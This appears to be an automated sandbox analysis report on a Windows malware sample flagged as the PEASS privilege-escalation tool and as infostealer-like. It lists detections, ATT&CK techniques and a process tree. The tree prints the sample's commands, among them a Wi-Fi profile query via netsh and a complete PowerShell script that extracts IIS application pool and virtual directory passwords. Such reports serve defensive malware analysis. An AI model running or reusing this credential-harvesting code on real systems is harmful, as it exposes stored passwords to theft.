Analysis
- max time kernel
149s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
13/07/2026, 11:46
General
- Target 2026-07-13_6d1ca57aa7db236f28d89430bac7a39a_darkgate_glassworm_hijackloader_icedid_silence.exe
- Size 10.5MB
- Sample260713-nxpv5sat2t
- SHA256 e5a6ca0d2a2a8727a7b05fc9ca77f41db7d9b704f499e3c9cebb13f25af385f3
Malware Config
Signatures
- Family: PEASS, PEASS-ng, Peas
PEASS is an open-source tool for privilege escalation.
- Detects PEASS hacktool 1 IoCs
- Detects executables containing SQL queries to confidential data stores. Observed in infostealers 1 IoCs
- Detects executables packed with Dotfuscator 1 IoCs
- Detects executables referencing Windows vault credential objects. Observed in infostealers 1 IoCs
- Detects executables referencing many confidential data stores found in browsers, mail clients, crypt 1 IoCs
- Loads dropped DLL 1 IoCs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Checks whether UAC is enabled 1 TTPs 1 IoCs
- Enumerates connected drives 3 TTPs 1 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Network Share Discovery 1 TTPs
Attempt to gather information on host network.
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
- System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs
Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.
- Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
- Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 3 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\2026-07-13_6d1ca57aa7db236f28d89430bac7a39a_darkgate_glassworm_hijackloader_icedid_silence.exe"C:\Users\Admin\AppData\Local\Temp\2026-07-13_6d1ca57aa7db236f28d89430bac7a39a_darkgate_glassworm_hijackloader_icedid_silence.exe"1⤵
- Loads dropped DLL
- Checks whether UAC is enabled
- Enumerates connected drives
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SYSTEM32\systeminfo.exe"systeminfo.exe"2⤵
- Gathers system information
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C:\Windows\SYSTEM32\netsh.exe"netsh" wlan show profiles2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Network Configuration Discovery: Wi-Fi Discovery
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" # Check if appcmd.exe exists if (Test-Path ('C:\Windows\system32\inetsrv\appcmd.exe')) { # Create data table to house results $DataTable = New-Object System.Data.DataTable # Create and name columns in the data table $Null = $DataTable.Columns.Add('user') $Null = $DataTable.Columns.Add('pass') $Null = $DataTable.Columns.Add('type') $Null = $DataTable.Columns.Add('vdir') $Null = $DataTable.Columns.Add('apppool') # Get list of application pools Invoke-Expression 'C:\Windows\system32\inetsrv\appcmd.exe list apppools /text:name' | ForEach-Object { # Get application pool name $PoolName = $_ # Get username $PoolUserCmd = 'C:\Windows\system32\inetsrv\appcmd.exe list apppool ' + $PoolName + ' /text:processmodel.username' $PoolUser = Invoke-Expression $PoolUserCmd # Get password $PoolPasswordCmd = 'C:\Windows\system32\inetsrv\appcmd.exe list apppool ' + $PoolName + ' /text:processmodel.password' $PoolPassword = Invoke-Expression $PoolPasswordCmd # Check if credentials exists if (($PoolPassword -ne '') -and ($PoolPassword -isnot [system.array])) { # Add credentials to database $Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName) } } # Get list of virtual directories Invoke-Expression 'C:\Windows\system32\inetsrv\appcmd.exe list vdir /text:vdir.name' | ForEach-Object { # Get Virtual Directory Name $VdirName = $_ # Get username $VdirUserCmd = 'C:\Windows\system32\inetsrv\appcmd.exe list vdir ' + $VdirName + ' /text:userName' $VdirUser = Invoke-Expression $VdirUserCmd # Get password $VdirPasswordCmd = 'C:\Windows\system32\inetsrv\appcmd.exe list vdir ' + $VdirName + ' /text:password' $VdirPassword = Invoke-Expression $VdirPasswordCmd # Check if credentials exists if (($VdirPassword -ne '') -and ($VdirPassword -isnot [system.array])) { # Add credentials to database $Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA') } } # Check if any passwords were found if( $DataTable.rows.Count -gt 0 ) { # Display results in list view that can feed into the pipeline #$DataTable | Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique $DataTable | Select-Object user,pass,type,vdir,apppool } else { # Status user Write-host 'No application pool or virtual directory passwords were found.' } }2⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\AUDIODG.EXEC:\Windows\system32\AUDIODG.EXE 0x33c 0x3cc1⤵
Network
MITRE ATT&CK Enterprise v16
Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
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Downloads
sqlite.interop.dll
__PSScriptPolicyTest_d5hig12y.dn3.ps1
memory/4552-19-0x000002BAD6B30000-0x000002BAD6B3A000-memory.dmp
memory/4552-22-0x000002BAD6E90000-0x000002BAD6EA8000-memory.dmp
memory/4552-7-0x000002BABC8B0000-0x000002BABC8C0000-memory.dmp
memory/4552-8-0x000002BAD67F0000-0x000002BAD69B2000-memory.dmp
memory/4552-9-0x000002BAD6EF0000-0x000002BAD7418000-memory.dmp
memory/4552-14-0x000002BABC8B0000-0x000002BABC8C0000-memory.dmp
memory/4552-15-0x000002BABC8B0000-0x000002BABC8C0000-memory.dmp
memory/4552-16-0x000002BAD7820000-0x000002BAD7922000-memory.dmp
memory/4552-18-0x000002BAD7930000-0x000002BAD79E4000-memory.dmp
memory/4552-21-0x000002BAD6E80000-0x000002BAD6E88000-memory.dmp
memory/4552-6-0x000002BABC9B0000-0x000002BABC9FA000-memory.dmp
memory/4552-0-0x000002BABA1E0000-0x000002BABAC5C000-memory.dmp
memory/4552-20-0x000002BAD6B40000-0x000002BAD6B66000-memory.dmp
memory/4552-23-0x000002BAD6E70000-0x000002BAD6E7A000-memory.dmp
memory/4552-24-0x000002BAD6EB0000-0x000002BAD6EB8000-memory.dmp
memory/4552-25-0x000002BABC920000-0x000002BABC92A000-memory.dmp
memory/4552-26-0x000002BAD6EC0000-0x000002BAD6ED8000-memory.dmp
memory/4552-27-0x000002BAD7A40000-0x000002BAD7A90000-memory.dmp
memory/4552-28-0x000002BAD79F0000-0x000002BAD7A0E000-memory.dmp
memory/4552-40-0x000002BAD7820000-0x000002BAD7922000-memory.dmp
memory/4552-5-0x000002BABC8B0000-0x000002BABC8C0000-memory.dmp
memory/4596-29-0x0000027CFBAB0000-0x0000027CFBAD2000-memory.dmp